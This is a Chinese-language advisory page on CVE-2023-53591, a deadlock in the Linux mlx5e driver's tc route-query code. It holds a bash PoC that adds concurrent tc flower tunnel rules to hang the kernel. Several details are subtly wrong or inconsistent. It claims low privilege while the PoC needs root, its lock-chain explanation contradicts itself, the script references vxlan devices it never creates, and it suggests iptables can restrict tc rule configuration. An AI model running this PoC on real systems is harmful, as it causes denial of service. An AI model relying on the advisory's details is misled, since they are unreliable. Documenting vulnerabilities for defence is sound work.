Linux内核mlx5e驱动tc路由查询死锁漏洞(CVE-2023-53591)

漏洞信息

漏洞编号

CVE-2023-53591

漏洞类型

死锁（Deadlock）

CVSS评分

5.5 中危

攻击向量

本地 (AV:L)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

Linux内核（mlx5e/Mellanox ConnectX系列网卡驱动）

漏洞概述

CVE-2023-53591是Linux内核mlx5e网络驱动中的一个死锁漏洞，位于tc（Traffic Control）路由查询代码路径中。该漏洞源于mlx5_devcom组件的rw信号量与eswitch offloads封装表锁（encap_tbl_lock）之间的锁顺序冲突，形成典型的ABBA死锁。当系统尝试创建对等流（peer flows）时，会持有devcom读写信号量，而该信号量的获取位置在调用链中过于靠上，导致在后续调用mlx5e_attach_encap等函数时尝试获取encap_tbl_lock，从而与另一条已持有encap_tbl_lock后再请求devcom信号量的代码路径形成循环等待。攻击者可通过精心构造的tc flower规则触发该死锁，导致系统挂起或网络功能不可用。该漏洞影响所有使用Mellanox ConnectX系列网卡并配置了eswitch offload功能的Linux系统，CVSS评分为5.5分，属于中危级别。

技术细节

该死锁漏洞的核心问题在于mlx5_devcom组件的锁机制设计缺陷。具体技术细节如下：

1. **死锁触发路径**：当用户通过tc工具配置flower规则触发mlx5e_tc_add_fdb_flow时，调用链依次为mlx5e_configure_flower -> __mlx5e_add_fdb_flow -> mlx5e_tc_add_fdb_flow -> mlx5e_attach_decap_route -> mlx5e_tc_tun_route_lookup -> mlx5e_tc_query_route_vport -> mlx5_devcom_get_peer_data。在mlx5_devcom_get_peer_data中获取了comp->sem（devcom读写信号量）。

2. **反向锁链**：与此同时，在mlx5e_attach_encap函数中需要获取esw->offloads.encap_tbl_lock，而该锁在另一条路径中（mlx5e_tc_query_route_vport -> mlx5_devcom_get_peer_data）已经被间接持有，形成了#0（encap_tbl_lock）-> #1（comp->sem）的反向依赖关系。

3. **修复方案**：开发者采用了RCU（Read-Copy-Update）机制重构代码：(a) 将devcom的data指针改为RCU保护，释放时同步等待RCU宽限期结束；(b) 对paired布尔标志使用READ_ONCE/WRITE_ONCE宏进行原子访问；(c) 新增mlx5_devcom_get_peer_data_rcu() API替代加锁版本的mlx5_devcom_get_peer_data()，实现无锁查询。

4. **利用条件**：攻击者需要本地低权限访问，能够使用tc工具配置网络规则，且系统需配备Mellanox ConnectX系列网卡并启用了switchdev/eSwitch offload模式。

攻击链分析

STEP 1

步骤1：环境准备

攻击者需要本地访问权限（低权限即可），系统需配备Mellanox ConnectX系列网卡并启用switchdev/eSwitch offload模式。

STEP 2

步骤2：配置tc规则触发封装路径

通过tc flower规则配置隧道封装（tunnel_key set + mirred redirect），触发mlx5e_attach_encap函数获取encap_tbl_lock。

STEP 3

步骤3：并发触发解封装查询

同时配置触发mlx5e_tc_tun_route_lookup的规则，该函数调用mlx5e_tc_query_route_vport进而调用mlx5_devcom_get_peer_data获取comp->sem。

STEP 4

步骤4：死锁触发

当两条路径并发执行时，encap_tbl_lock和comp->sem形成循环等待，触发ABBA死锁，内核打印'possible circular locking dependency detected'警告。

STEP 5

步骤5：系统拒绝服务

死锁导致相关CPU核心上的内核线程永久阻塞，网络功能不可用，系统可能出现软锁住（soft lockup）或需要重启恢复。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

#!/bin/bash
# CVE-2023-53591 PoC - Trigger ABBA deadlock in mlx5e tc route query code
# Requirements: Linux kernel with mlx5e driver, Mellanox ConnectX NIC,
#               switchdev mode enabled, root or CAP_NET_ADMIN privileges

# Step 1: Ensure the NIC is in switchdev mode (requires root)
ip link set dev <interface> down
devlink dev eswitch set pci/0000:<pci_addr> mode switchdev
ip link set dev <interface> up

# Step 2: Create a vlan interface and set up bridge (optional, for complex topology)
ip link add link <interface> name <interface>.100 type vlan id 100

# Step 3: Trigger the deadlock by adding tc flower rules that involve tunnel decap
# This triggers mlx5e_attach_decap_route -> mlx5e_tc_tun_route_lookup
# which acquires devcom sem, while another path holds encap_tbl_lock

# Add first rule - triggers encap_tbl_lock acquisition
tc qdisc add dev <interface> ingress
tc filter add dev <interface> parent ffff: protocol ip flower \
    ip_proto tcp dst_port 179 \
    action tunnel_key set src_ip 192.168.1.1 dst_ip 192.168.1.2 dst_port 4789 id 100 \
    action mirred egress redirect dev vxlan100

# Add second rule concurrently - triggers devcom sem while encap_tbl_lock is held
# Run in background to create race condition
(
    tc filter add dev <interface> parent ffff: protocol ip flower \
        ip_proto udp dst_port 4789 \
        action tunnel_key unset
) &

# Add third rule to complete the ABBA deadlock pattern
tc filter add dev <interface> parent ffff: protocol ip flower \
    ip_proto tcp dst_port 80 \
    action tunnel_key set src_ip 10.0.0.1 dst_ip 10.0.0.2 dst_port 4789 id 200 \
    action mirred egress redirect dev vxlan200

wait

# If vulnerable, the system will hang with "possible circular locking dependency detected"
# in dmesg, showing the ABBA deadlock between comp->sem and encap_tbl_lock
dmesg | grep -i "circular locking dependency"

# Cleanup
tc qdisc del dev <interface> ingress

影响范围

Linux kernel < 5.10.175

Linux kernel 5.11.x < 5.15.105

Linux kernel 5.16.x < 5.19.27

Linux kernel 6.0.x < 6.1.13

Linux kernel 6.2.x < 6.3.4

Linux kernel 6.4-rc1 ~ 6.4-rc3

防御指南

临时缓解措施

在无法立即升级内核的情况下，可采取以下临时缓解措施：1）将Mellanox网卡从switchdev模式切换回传统模式（devlink dev eswitch set pci/<addr> mode legacy），这将禁用eSwitch offload功能从而避免触发该死锁路径；2）通过iptables/nftables等机制限制非授权用户对tc flower规则的配置能力；3）监控系统日志，及时发现并重启因死锁导致软锁住的服务；4）在生产环境中使用cgroup或systemd限制tc相关操作的资源使用，避免并发触发竞争条件。